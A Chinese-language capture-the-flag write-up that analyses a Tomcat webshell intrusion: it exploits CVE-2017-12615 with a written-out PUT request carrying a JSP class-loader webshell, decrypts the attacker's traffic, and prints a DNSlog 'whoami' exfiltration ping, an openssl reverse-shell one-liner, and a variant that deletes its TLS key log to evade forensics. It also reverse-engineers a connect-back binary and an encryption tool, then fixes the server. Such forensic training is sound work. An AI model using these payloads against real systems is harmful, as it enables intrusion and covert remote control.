某变异Webshell流量分析-玄机靶场
花一下午时间来做了这题,感觉很有意思,把一些知识串了很多但又不是为套而套,在解题过程难得有“即温习了已有知识,又学习到了新姿势”的感觉。
立足点获取
题目不提供root用户的账号密码要我们自己打入。
先fscan 扫描下,发现有个poc-yaml-iis-put-getshell与poc-yaml-tomcat-cve-2017-12615-rce。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| ╰ ./fscan_mac -h 52.82.19.202
___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan 52.82.19.202:8009 open 52.82.19.202:8081 open [*] alive ports len is: 2 start vulscan [*] WebTitle http://52.82.19.202:8081 code:200 len:11230 title:Apache Tomcat/8.5.19 [+] PocScan http://52.82.19.202:8081 poc-yaml-iis-put-getshell [+] PocScan http://52.82.19.202:8081 poc-yaml-tomcat-cve-2017-12615-rce
|
查询下cve-2017-12615 可以通过put 写入后面,编织payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| PUT /lexs.jsp/ HTTP/1.1 Host: 52.83.29.154:8081 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Connection: keep-alive Upgrade-Insecure-Requests: 1 Priority: u=0, i Content-Type: application/x-www-form-urlencoded Content-Length: 961
<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("shell"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %>
|
然后用蚁剑进行连接,然后就是常规反弹shell。
黑客上传的木马文件名是什么
分析流量,发现黑客用户跟我们差不多的思路,put上传文件。

上传的名为hello.jsp文件,且后续频繁访问,且返回包长不一致。查看PUT /hello.jsp/ 包,发现就是我用的那个payload模版改的。

所以文件名就是hello.jsp。
flag:flag{hello.jsp}
黑客上传的木马连接密码是什么
把hello.jsp里base64部分用CyberChef进行解码。

在解base64与gzip发现是一个java classes 。
用java反编译工具查看:

发现工具反编译不完全提示“Unable to fully structure code Could not resolve type clashes,在能阅读审计的地方,发现其中有个:
1 2 3
| private java.lang.String P() { return "SjIHRC7oSVIE"; }
|
推测,p就是password 密码是SjIHRC7oSVIE
。
同时,分析前后的post hello.jsp 路径的包发现
1 2 3 4 5 6 7 8 9 10 11 12 13
| POST /hello.jsp HTTP/1.1 Host: 192.168.31.168:8081 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Cookie: JSESSIONID=F926898CF709898D3D36F8B038C03E72 Content-Type: application/json Content-Length: 639
0.000000s {"SjIHRC7oSVIE":"SpL+x7y+I+ZMyWEXeJ0NZMa2lXxVJJQX8qje+iiGLCag8tPabyOaifukFtoSxu6RFUpZaKyNuMCXHzK3RDjcTFL73lNoG0uHqJJBjObbdTPDfU7cYGyAY5cXrNzHkdq6IyH1gpeYpyzuLqXSSjhkwp1pKh6Uh6asrqyZuM97bG3Vakj6n1FXkVyDfSWHkDhIns9VKOKE5dgs4ZwhBUxRI67sQmSA2+47jDr/nLzxsa1DIv9K67DBh8hrgV2XrBsGbbCsaiZo45Qxy62KbNjXeNpMjnAF/05JhkOqFkaqh97yhOgERj/cx+y5sYC3GTSBK5UW7o8ozXn3OjZt1b6OFnX13uDI8Pnvajsw1EaY/KaDNCUS6ATLbajdQsza7Rmt1MODH7j5EW49s+1dKHdrWGv27YLnRMqQptBCn56yoiLZ21aJ/CggSZnRqdee7pChC23JnN+E3t2tKQG8QQnxT6XXsTmii0kRCEoXFiEVrmJpg+7wo1Mqpj9T32i6wlmP+bdJWcOxjizJOoSkd0RAVf8dU399C2TkViAaOhLAj2XCW+qF8z6Dbs/G1HIs51QGig0ujdQFkZ+j6wo2F5B0OBh0oMLT4q2A9DuU5XEC00M="}
|
都有”SjIHRC7oSVIE”相关数据从而验证猜测
flag为flag{SjIHRC7oSVIE}
分析黑客上传的木马,找到木马通讯的key是什么
刚刚我们在分析木马,在用工具反编译到下面代码后,之后的代码就要手动编译了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package org.apache.coyote.module;
public class org.apache.coyote.module.ThrowableDeserializer extends java.lang.ClassLoader { private java.lang.String a; private javax.servlet.http.HttpServletRequest b; private javax.servlet.http.HttpServletResponse c; private java.util.Map<java.lang.String, java.lang.Object> d; public static int e; public static int f; private static final java.lang.String[] g; private static final java.lang.String[] h;
private java.lang.String P() { return "SjIHRC7oSVIE"; }
public java.lang.String K() { return "oszXCfTeXHpIkMS3"; }
private java.lang.String C() { return "9d127d5606ee03e479851bf2d4037ba7"; }
|
但是笔者是个java小孩不会这么办?突然想起木马大多数都是通过一个demo改过来换下密码或key有继续用的。于是将翻译出来的代码,于是那编译出来的片段及hello.jsp代码在github查询。
正好找到一个分析项目: https://github.com/webraybtl/webshell1?tab=readme-ov-file
里面正好有个分析的jsp 与hello.jsp 高度雷同,同时项目还有个分析文,连接如下:
https://mp.weixin.qq.com/s?__biz=MzkyNzcxNTczNA==&mid=2247486297&idx=1&sn=8de65caed3d75322d7e2eda8ab4e8c0a&source=41#wechat_redirect
在文章中提到webshell的代码逻辑中,提供了两种传入参数的方式,一种是直接通过参数传递,传递的参数名是“SjIHRC7oSVIE”
同时在后续的过程中会对上一步传入的恶意代码进行AES解密,解密密钥为固定值“oszXCfTeXHpIkMS3”


在阅读分析文章时发现AES 只有KEY出现,所以怀疑是ECB模式。木马通讯的key就是“oszXCfTeXHpIkMS3”。
flag:flag{oszXCfTeXHpIkMS3}
黑客连接webshell后第一个执行的命令是什么
继续前面的分析,我们发现木马在接受“SjIHRC7oSVIE”变量的值后,会对其进行base64解密,之后进行一个ECB模式的AES解密,然后再进行gzip解码。我们按顺序进行破解,就可以看到执行命令时什么。
我们按照时间进行排序,发现一个第一个执行的命令的包的“SjIHRC7oSVIE”变量的值为:
1
| SpL+x7y+I+ZMyWEXeJ0NZMa2lXxVJJQX8qje+iiGLCag8tPabyOaifukFtoSxu6RFUpZaKyNuMCXHzK3RDjcTFL73lNoG0uHqJJBjObbdTPDfU7cYGyAY5cXrNzHkdq6IyH1gpeYpyzuLqXSSjhkwp1pKh6Uh6asrqyZuM97bG3Vakj6n1FXkVyDfSWHkDhIns9VKOKE5dgs4ZwhBUxRI67sQmSA2+47jDr/nLzxsa1DIv9K67DBh8hrgV2XrBsGbbCsaiZo45Qxy62KbNjXeNpMjnAF/05JhkOqFkaqh97yhOgERj/cx+y5sYC3GTSBK5UW7o8ozXn3OjZt1b6OFnX13uDI8Pnvajsw1EaY/KaDNCUS6ATLbajdQsza7Rmt1MODH7j5EW49s+1dKHdrWGv27YLnRMqQptBCn56yoiLZ21aJ/CggSZnRqdee7pChC23JnN+E3t2tKQG8QQnxT6XXsTmii0kRCEoXFiEVrmJpg+7wo1Mqpj9T32i6wlmP+bdJWcOxjizJOoSkd0RAVf8dU399C2TkViAaOhLAj2XCW+qF8z6Dbs/G1HIs51QGig0ujdQFkZ+j6wo2F5B0OBh0oMLT4q2A9DuU5XEC00M=
|
用CyberChef按照相应顺序进行破解。

然后得到输出值为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Êþº¾ 4 ' <init> ()V Code LineNumberTable <clinit> StackMapTable SourceFile shell.java ! " # java/lang/String /bin/bash -c /ping -c 1 `whoami`.d5454c8975.ipv6.1433.eu.org. $ % java/io/IOException & shell java/lang/Object java/lang/Runtime getRuntime ()Ljava/lang/Runtime; exec (([Ljava/lang/String;)Ljava/lang/Process; printStackTrace ! *· ± ` #¸ ½ YSYSYS¶ W§ K*¶ ± " ]
|
可以从可见字符中看到命令片段,并可以分析为java类。
1 2 3
| File type: Java Class Extension: class MIME type: application/java-vm
|
将输出值base64后,用反汇编工具逆向:

得到java代码为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
public class shell { public shell() { }
static { try { java.lang.Runtime.getRuntime().exec(new java.lang.String[]{"/bin/bash", "-c", "ping -c 1 `whoami`.d5454c8975.ipv6.1433.eu.org."}); return; } catch (java.io.IOException iOException) { iOException.printStackTrace(); } } }
|
因此黑客执行的第一个命令”ping -c 1 whoami
.d5454c8975.ipv6.1433.eu.org.”
1
| Flag`flag{ping -c 1 `whoami`.d5454c8975.ipv6.1433.eu.org.}`
|
这个webshell是怎么进行回显的
我们继续分析黑客执行的第一个命令:
1
| ping -c 1 `whoami`.d5454c8975.ipv6.1433.eu.org.
|
发现ping了’whoami
.d5454c8975.ipv6.1433.eu.org.’ 这个域名,推测黑客通过查询dnslog来着确认回显。
因此答案为’whoami
.d5454c8975.ipv6.1433.eu.org.’的上级域名 d5454c8975.ipv6.1433.eu.org.
即flag为flag{d5454c8975.ipv6.1433.eu.org.}
黑客留下后面的反连接IP和PORT是什么
我们分析最后一个访问hello.jsp流量,将流量进行解密。

反汇编后发现一个疑似经典反弹shell执行操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
public class shell { public shell() { }
static { try { java.lang.Runtime.getRuntime().exec(new java.lang.String[]{"/bin/bash", "-c", "echo bWtmaWZvIC90bXAvcmV2c2hlbGw7IC9iaW4vYmFzaCAtaSA8IC90bXAvcmV2c2hlbGwgMj4mMSB8IG9wZW5zc2wgc19jbGllbnQgLXF1aWV0IC1jb25uZWN0IDE5Mi4xNjguMzEuMTkwOjIwMjQgLWtleWxvZ2ZpbGUga2V5LmxvZyA+IC90bXAvcmV2c2hlbGw7IHJtIC1mIC90bXAvcmV2c2hlbGw=|base64 -d|bash"}); return; } catch (java.io.IOException iOException) { iOException.printStackTrace(); } } }
|
将echo
到|base64 -d
间的bWtmaWZvIC90bXAvcmV2c2hlbGw7IC9iaW4vYmFzaCAtaSA8IC90bXAvcmV2c2hlbGwgMj4mMSB8IG9wZW5zc2wgc19jbGllbnQgLXF1aWV0IC1jb25uZWN0IDE5Mi4xNjguMzEuMTkwOjIwMjQgLWtleWxvZ2ZpbGUga2V5LmxvZyA+IC90bXAvcmV2c2hlbGw7IHJtIC1mIC90bXAvcmV2c2hlbGw=
进行base64解密得到:
1
| mkfifo /tmp/revshell; /bin/bash -i < /tmp/revshell 2>&1 | openssl s_client -quiet -connect 192.168.31.190:2024 -keylogfile key.log > /tmp/revshell; rm -f /tmp/revshell
|
从而得到ip为192.168.31.190 端口为2024 。
因此flag为flag{192.168.31.190|2024}
黑客通过后门反连接执行对第一条命令是什么
之前通过解密得到:
1
| mkfifo /tmp/revshell; /bin/bash -i < /tmp/revshell 2>&1 | openssl s_client -quiet -connect 192.168.31.190:2024 -keylogfile key.log > /tmp/revshell; rm -f /tmp/revshell
|
在本地复现下,控制端执行
1 2
| openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes openssl s_server -quiet -key key.pem -cert cert.pem -port 12345
|
被控制端执行:
1
| mkfifo /tmp/revshell; /bin/bash -i < /tmp/revshell 2>&1 | openssl s_client -quiet -connect 127.0.0.1:12345 -keylogfile key.log > /tmp/revshell; rm -f /tmp/revshell
|
发现就/tmp/revshell会正常消失,但是key.log会保留在执行命令对应的目录下。key.log会存放ssl链接时的密钥情况。
因此,通过find命令来查询key.log文件位置。从而读取key.log信息。
1 2 3 4 5 6 7 8 9
| (root:/) $ find . -name key*.log ./opt/apache-tomcat-8.5.19/bin/key.log (root:/) $ cat /opt/apache-tomcat-8.5.19/bin/key.log # SSL/TLS secrets log file, generated by OpenSSL SERVER_HANDSHAKE_TRAFFIC_SECRET ff6ead1c7421ca1588e6e18e3504a8f263bd33573deede0313087e6fd70eb675 9f1537ef9693595f34d342f700efaf6ffe33e4b3d1cc5c4cadc776297617f3cdf3ed73d88cf1dfaf97c0b0e98609d1ea EXPORTER_SECRET ff6ead1c7421ca1588e6e18e3504a8f263bd33573deede0313087e6fd70eb675 1d72faed3451768edc39b7f8839ef7a0d30fdfba3c8da68b3d04ddbc4c73f48907ba6d871cadf04934bf51d3a0bc85e6 SERVER_TRAFFIC_SECRET_0 ff6ead1c7421ca1588e6e18e3504a8f263bd33573deede0313087e6fd70eb675 00ee6ab397c81475e0ed409ed9cffea7f3dbed67f1a6b2b24a40f71445a31dc02a0d69e0ba252a3dc9aa5a741261e2b2 CLIENT_HANDSHAKE_TRAFFIC_SECRET ff6ead1c7421ca1588e6e18e3504a8f263bd33573deede0313087e6fd70eb675 c766297fbe7376d29fed6a8220b9125ccd67e218e8e308ac2226400375f6618ab4312760272b3498d933f2571cb34f5d CLIENT_TRAFFIC_SECRET_0 ff6ead1c7421ca1588e6e18e3504a8f263bd33573deede0313087e6fd70eb675 d02aec7819a8a207687e7a40b47f2cc44d939fc0ef7ad2b00adcec173c2abd4ac96e87cf429c39272c26cf51a3ce34c6
|
我们按照如下步骤来利用Wireshark 读取反弹shell时的流量:
1.通过 Wireshark -> Preferences -> Protocols -> TLS -> (Pre)-Master-Secret log file,告诉 Wireshark 去哪里寻找 Key 文件

2.导入后重新打开 pcap,ip.dst == 192.168.31.190 and tcp.dstport==2024
匹配目的为192.168.31.190 端口为2024的流量。再选择follow 对应流量流,即可看到解密后的 TLS 流量数据

可以看到在反弹shell后第一个执行命令为ls

因此flag为flag{ls}
后记1
这个反弹操作在支持ssh 服务端口的设备一般够可以使用,只要再修改下命令移除key.log就行了
1
| mkfifo /tmp/revshell; /bin/bash -i < /tmp/revshell 2>&1 | openssl s_client -quiet -connect 127.0.0.1:12345 -keylogfile key.log > /tmp/revshell; rm -f /tmp/revshell; rm -f key.log;
|
请上机排查黑客新增对后门程序会链接到哪台恶意主机
有点怪,我在题目远程环境里没有看到后门程序进程及可疑程序。但是在题目附近中发现两个可疑程序文件 lock和update,把他们放入微步沙箱,其中update 有远程连接行为 ip 10.10.13.37 。本以为答案结果提交发现错误,结合提示发现还要端口,就只有逆向分析这个update程序 orz… ( lock看了下是对文件的加密,感觉像后面的题)。
把文件拖入ida发现是一堆syscall 系统调用手搓的程序。主要系统调用部分如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| LOAD:0000000000400140 xor edi, edi ; addr LOAD:0000000000400142 push 9 LOAD:0000000000400144 pop rax LOAD:0000000000400145 cdq LOAD:0000000000400146 mov dh, 10h LOAD:0000000000400148 mov rsi, rdx ; len LOAD:000000000040014B xor r9, r9 ; off LOAD:000000000040014E push 22h ; '"' LOAD:0000000000400150 pop r10 ; flags LOAD:0000000000400152 push 7 LOAD:0000000000400154 pop rdx ; prot LOAD:0000000000400155 syscall ; LINUX - sys_mmap LOAD:0000000000400157 test rax, rax LOAD:000000000040015A js short loc_4001AD LOAD:000000000040015C push 0Ah LOAD:000000000040015E pop r9 LOAD:0000000000400160 push rax LOAD:0000000000400161 push 29h ; ')' LOAD:0000000000400163 pop rax LOAD:0000000000400164 cdq ; protocol LOAD:0000000000400165 push 2 LOAD:0000000000400167 pop rdi ; family LOAD:0000000000400168 push 1 LOAD:000000000040016A pop rsi ; type LOAD:000000000040016B syscall ; LINUX - sys_socket LOAD:000000000040016D test rax, rax LOAD:0000000000400170 js short loc_4001AD LOAD:0000000000400172 xchg rax, rdi ; fd LOAD:0000000000400174 LOAD:0000000000400174 loc_400174: ; CODE XREF: start+133↓j LOAD:0000000000400174 mov rcx, 250D0A0A5C110002h LOAD:000000000040017E push rcx LOAD:000000000040017F mov rsi, rsp ; uservaddr LOAD:0000000000400182 push 10h LOAD:0000000000400184 pop rdx ; addrlen LOAD:0000000000400185 push 2Ah ; '*' LOAD:0000000000400187 pop rax LOAD:0000000000400188 syscall ; LINUX - sys_connect LOAD:000000000040018A pop rcx LOAD:000000000040018B test rax, rax LOAD:000000000040018E jns short loc_4001B5 LOAD:0000000000400190 dec r9 LOAD:0000000000400193 jz short loc_4001AD LOAD:0000000000400195 push rdi LOAD:0000000000400196 push 23h ; '#' LOAD:0000000000400198 pop rax LOAD:0000000000400199 push 0 LOAD:000000000040019B push 5 LOAD:000000000040019D mov rdi, rsp ; rqtp LOAD:00000000004001A0 xor rsi, rsi ; rmtp LOAD:00000000004001A3 syscall ; LINUX - sys_nanosleep LOAD:00000000004001A5 pop rcx LOAD:00000000004001A6 pop rcx LOAD:00000000004001A7 pop rdi LOAD:00000000004001A8 test rax, rax LOAD:00000000004001AB jns short loc_400174 LOAD:00000000004001AD LOAD:00000000004001AD loc_4001AD: ; CODE XREF: start+E2↑j LOAD:00000000004001AD ; start+F8↑j ... LOAD:00000000004001AD push 3Ch ; '<' LOAD:00000000004001AF pop rax LOAD:00000000004001B0 push 1 LOAD:00000000004001B2 pop rdi ; error_code LOAD:00000000004001B3 syscall ; LINUX - sys_exit LOAD:00000000004001B5 LOAD:00000000004001B5 loc_4001B5: ; CODE XREF: start+116↑j LOAD:00000000004001B5 pop rsi LOAD:00000000004001B6 push 7Eh ; '~' LOAD:00000000004001B8 pop rdx LOAD:00000000004001B9 syscall ; LINUX - sys_exit
|
分析发现是一个客户端调用,通过调用sys_connect系统调用来连接服务端。通过查询资料发现sys_connect系统调用的传参数为:
1 2
| sys_connect(int fd, struct sockaddr __user *uservaddr, int addrlen)
|
fd 为socket 的 fd
uservaddr 为 struct sockaddr __user
结构的地址
addrlen 为地址长度。
uservaddr值为250D0A0A5C110002 h
,但是直接分析也看不出与 10.10.13.37 的关系,更不要说端口了。
但还有update 的环境简单可以动态调试,gdb在SYS_connect调用时,
1 2 3 4 5
| ► 0x400188 syscall <SYS_connect> fd: 0x3 (socket:[3266521]) addr: 0x7fffffffde50 ◂— 0x250d0a0a5c110002 len: 0x10 0x40018a pop
|
发现参数值与我们静态分析时,推理的内容基本差不多。但是addr还是看不出什么。于是继续动态调试到syscall执行后。
我们用netstat -natp
来查看端口情况,发现一条目的为10.10.13.37:4444 准备连接到记录。

因此我们得到flag:
Flag:{10.10.13.37|4444}
后记2
后面通过查询资料发现struct sockaddr_in
结构体是一个 8 字节的 IPv4 套接字地址结构,该结构的内存布局为:
- 2 字节:地址族(
sin_family
)
- 2 字节:端口号(
sin_port
,以网络字节序存储)
- 4 字节:IP 地址(
sin_addr.s_addr
,以网络字节序存储)
同时在我们网络中数据是按照大端排序结构来进行存储的。因此用大端的思路分析250D0A0A5C110002
:
250D0A0A
: 0x25 值为 37 ,0xd 值为13 , 0xa 值为10 ,分析下来刚好是10.10.13.37
5C11
: 按照大端换算的值应该是0x115c ,分析下来刚好是 4444
0002
: 还是为0x0002含义是地址族为 AF_INET
(IPv4)
黑客加密一个/root目录下一个重要文件,请叫解密后的文件内容作为flag提交
将/root目录下的flagen.txt下载打开

发现文件16位为可见字符,后面被加密后以非可见为主。
分析加密程序lock(之前说过的附件的程序) ,分析主要main函数部分反汇编代码发现是一个CBC模式下的AES加密。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111
| __int64 __fastcall main(int a1, char **a2, char **a3) { FILE *v4; FILE *v5; char *v6; char v7; char *v8; char v9; size_t v10; __int64 v11; char *v12; __int64 v13; unsigned __int64 v14; unsigned int v15; unsigned int v16; unsigned int v17; __int64 v18; _BYTE v19[16]; char ptr[16]; char v21[16]; char v22[16]; char v23[312];
if ( a1 == 3 ) { v4 = fopen(a2[1], "rb"); if ( v4 ) { v5 = fopen(a2[2], "wb"); if ( v5 ) { v6 = v19; do { v7 = 'A' - (unsigned __int8)v19 + (_BYTE)v6++; *(v6 - 1) = v7; } while ( v6 != ptr ); v8 = ptr; do { v9 = 'a' - (unsigned __int8)ptr + (_BYTE)v8++; *(v8 - 1) = v9; } while ( v8 != v21 ); AES_set_encrypt_key((__int64)v19, 0x80LL, (__int64)v23); fwrite(ptr, 1uLL, 0x10uLL, v5); while ( 1 ) { v10 = fread(v21, 1uLL, 0x10uLL, v4); if ( !v10 ) break; if ( v10 <= 0xF ) { v11 = (unsigned int)(16 - v10); v12 = &v21[v10]; v13 = 0x101010101010101LL * (unsigned __int8)v11; if ( (unsigned int)v11 >= 8 ) { *(_QWORD *)v12 = v13; *(_QWORD *)&v12[(unsigned int)v11 - 8] = v13; v14 = (unsigned __int64)(v12 + 8) & 0xFFFFFFFFFFFFFFF8LL; v15 = (v11 + (_DWORD)v12 - v14) & 0xFFFFFFF8; if ( v15 >= 8 ) { v16 = v15 & 0xFFFFFFF8; v17 = 0; do { v18 = v17; v17 += 8; *(_QWORD *)(v14 + v18) = v13; } while ( v17 < v16 ); } } else if ( (v11 & 4) != 0 ) { *(_DWORD *)v12 = v13; *(_DWORD *)&v12[v11 - 4] = v13; } else if ( (_DWORD)v11 ) { *v12 = v11; if ( (v11 & 2) != 0 ) *(_WORD *)&v12[v11 - 2] = v13; } } AES_cbc_encrypt(v21, v22, 16LL, v23, ptr, 1LL); fwrite(v22, 1uLL, 0x10uLL, v5); } fclose(v4); fclose(v5); puts(&s); while ( 1 ) ; } perror(&byte_2051); fclose(v4); } else { perror(&byte_2035); } } else { fprintf(stderr, &format, *a2); } return 1LL; }
|
经过审计后发现aes加密的key 主要由 v19 变量存放,IV主要由ptr变量存放。
题目很友好,在代码中加入fwrite(ptr, 1uLL, 0x10uLL, v5);
所以我们看到加密文件的前16个可见字符·abcdefghijklmnop
就是IV。
v19 是由下面这段代码来着控制:
1 2 3 4 5 6 7 8 9 10 11 12 13
| v6 = v19; do { v7 = 'A' - (unsigned __int8)v19 + (_BYTE)v6++; *(v6 - 1) = v7; } while ( v6 != ptr ); v8 = ptr; do { v9 = 'a' - (unsigned __int8)ptr + (_BYTE)v8++; *(v8 - 1) = v9; }
|
由于v6 的定义 char *v6
指针,ptr是一个字符串数组一定程度上看是地址指针指向一个字符串。(_BYTE)v6++
相当v6=v6+1.
因此 while ( v6 != ptr ); 结束条件是 v6的值与ptr相等,v6指向v19,v19与ptr相近偏移刚好为16. v19字符数组值在执行循环时又刚好全为0。因此核心逻辑大致可以还原为如下的:
1 2 3
| for (int v6 = 0; v6 < 16; v6++) { v19[v6] = 65 + v6; }
|
得到key为ABCDEFGHIJKLMNOP
,从而求解得到flag

flag:flag{0ba9af0100c01e88a3a1280ec5b39715}
请你找到并修复入口漏洞后运行/root下的check_tomcat文件并将得到flag提交
之前我们在分析时,发现黑客使用 cve-2017-12615-rce 来进行入侵的。cve-2017-1261入侵的前提是 Tomcat 启用了 HTTP PUT 请求方法 readonly 初始化参数由默认值设置为 false。
因此我们可以修改 路径为/opt/apache-tomcat-8.5.19/conf/web.xml
文件里的org.apache.catalina.servlets.DefaultServlet
的 readonly 为True 或直接删除(Apache Tomcat的web.xml中org.apache.catalina.servlets.DefaultServlet`的 readonly 默认为 true,而且默认没有在 conf/web.xml 里写)
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>listings</param-name> <param-value>true</param-value> </init-param> <init-param><param-name>readonly</param-name><param-value>true</param-value></init-param> <load-on-startup>1</load-on-startup> </servlet>
|
然后运行root目录下的check_tomcat 即可得到flag

flag:flag{ba5579c780bf4a799e03a60c6be383e9}
ps:还百度一个方法是修改web.xml配置禁用put但是很奇怪题目环境里没成功,操作是增加以下内容,并重启tomcat服务:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <security-constraint>
<web-resource-collection>
<url-pattern>/*</url-pattern>
<http-method>PUT</http-method>
<http-method>DELETE</http-method>
<http-method>HEAD</http-method>
<http-method>OPTIONS</http-method>
<http-method>TRACE</http-method>
</web-resource-collection>
<auth-constraint>
</auth-constraint>
</security-constraint>
<login-config>
<auth-method>BASIC</auth-method>
</login-config>
|
参考文献
https://mp.weixin.qq.com/s?__biz=MzkyNzcxNTczNA==&mid=2247486297&idx=1&sn=8de65caed3d75322d7e2eda8ab4e8c0a&source=41#wechat_redirect
http://timd.cn/decrypting-https/key-log/